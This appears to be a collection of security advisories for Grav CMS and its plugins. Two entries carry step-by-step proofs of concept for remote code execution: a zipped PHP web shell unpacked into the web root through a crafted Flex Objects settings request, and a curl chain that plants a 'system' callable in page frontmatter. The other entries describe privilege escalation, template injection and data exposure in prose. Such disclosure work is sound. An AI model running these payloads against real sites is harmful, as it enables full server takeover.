The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.
2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.
Zip the shell.php file with the php code mentioned below: shell.php: <?php system($GET['c']); ?> zip evil.zip shell.php
3. Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json
{ "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } }
4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json
{"name": "x"} -> 201
5. Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
The Grav API plugin (getgrav/grav-plugin-api) versions >= 1.0.6 and <= 1.0.11 contain a privilege escalation vulnerability. A scoped API key minted on a super-admin account bypasses its declared scope cap on four isSuperAdmin()-gated write endpoints (in GroupsController, AccountsConfigController, PreferencesController, and DashboardWidgetController). These endpoints authorize via a super-admin early-return that never invokes requirePermission()—the sole enforcement point of the scope cap—so a 'read-only'-scoped key (e.g. api.pages.read) can perform super-only write operations, including rewriting group ACL maps to grant super-admin privileges to arbitrary accounts. A leaked or delegated read-only CI/monitoring key can therefore gain full super-admin write capability. Fixed in 1.0.13.
Grav CMS before 2.0.13 contains a server-side template injection vulnerability in email-action parameters that allows low-privileged page editors to execute arbitrary operating-system commands. Attackers can inject Twig payloads using the unsandboxed find filter in email subject, body, to, or from fields to achieve remote code execution when forms are submitted.
The getgrav/grav-plugin-api plugin before 1.0.13 fails to validate that the scopes of a newly created API key are a subset of the caller's scopes in createApiKey. The self-target path of requireApiKeyPermission() requires only the baseline api.access scope, and the new key's scopes are read directly from the request body with no subset check. An attacker holding a minimal-scope API key on a super account can submit an empty scopes array to mint an unscoped, full-access super key, bypassing scope restrictions (and enabling further chains such as configuration write to RCE).
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.13 contains an API key scope-cap bypass in PagesController::guardTwigContent(). The Twig-toggle check uses a bare isSuperAdmin() gate that does not consult apikeyscopes, so a least-privilege API key scoped only to api.pages.write and minted on a super account can enable process.twig on a page save even though admin.pagestwig is intentionally outside the api.pages scope. When security.twigcontent.processenabled=true and editorenabled=false, this allows Twig-in-content to execute server-side, resulting in server-side template injection (SSTI) and remote code execution.
Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.
Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.
PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).
Save a "form" page whose field carries the callable directive:
curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"
Trigger it as an unauthenticated visitor:
curl '<BASEURL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.
Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content. Prior to 1.0.8, the Grav API plugin intercepts the apiKeyGenerate and apiKeyRevoke admin tasks in user/plugins/api/api.php and authorizes the caller with only admin.login. A basic panel user can select another account from the route, create a persistent ApiKeyManager credential bound to that target, and inherit the target's API permissions, including api.super or administrative write access when present. This issue is fixed in version 1.0.8.
Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.
The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.
Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (printr, vardump, jsonencode, yamlencode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|printr }} in page content with Twig processing enabled and dump Grav's entire merged configuration — printr reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction — exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig's needsissandboxed flag.
Grav CMS 2.0.14 through 2.0.24 contains a privilege escalation vulnerability in the group and account blueprints. The access map is gated by a security@: admin.super guard that is resolved by the field's exact path, so a submitted flat dot-notation key such as access.admin.super (instead of the nested access[admin][super]) matches no blueprint rule, survives BlueprintSchema::filterArray() and flattening, and is written by FlexObject::update() via setNestedProperty(), which splits on . and reconstructs the nested value. An authenticated backend operator using the flex accounts backend who holds admin.users but not admin.super can therefore grant admin.super to their own account or to a group they belong to and escalate to full super-admin, gaining control over configuration, plugin and theme installation, the file manager, and all accounts. Fixed in 2.0.25, which drops any dotted key whose ancestor path is disabled or marked validate.ignore.
The Comments plugin (getgrav/grav-plugin-comments) for Grav CMS through version 1.2.10 registers an admin handler that returns comment data as JSON without any authentication check. The handler branches on isAdmin(), which only indicates that the admin service is registered on the current route rather than that the visitor is authenticated, and it echoes the JSON and calls exit() during the plugins stage, before the classic Admin plugin would render its login screen. On a site using the classic Admin plugin with Comments enabled (the default), an unauthenticated remote attacker can request /admin/comments/page:<n> (e.g. page:0.001) and retrieve every comment from the last 7 days, including each commenter's email address and the absolute server filesystem path of the data file. Sites running the Grav 2.0 Admin Next stack (admin2 + api) are not affected via this path. The issue is fixed in 1.2.11, which requires an authenticated user with admin.comments or admin.super and removes the absolute filePath from the response.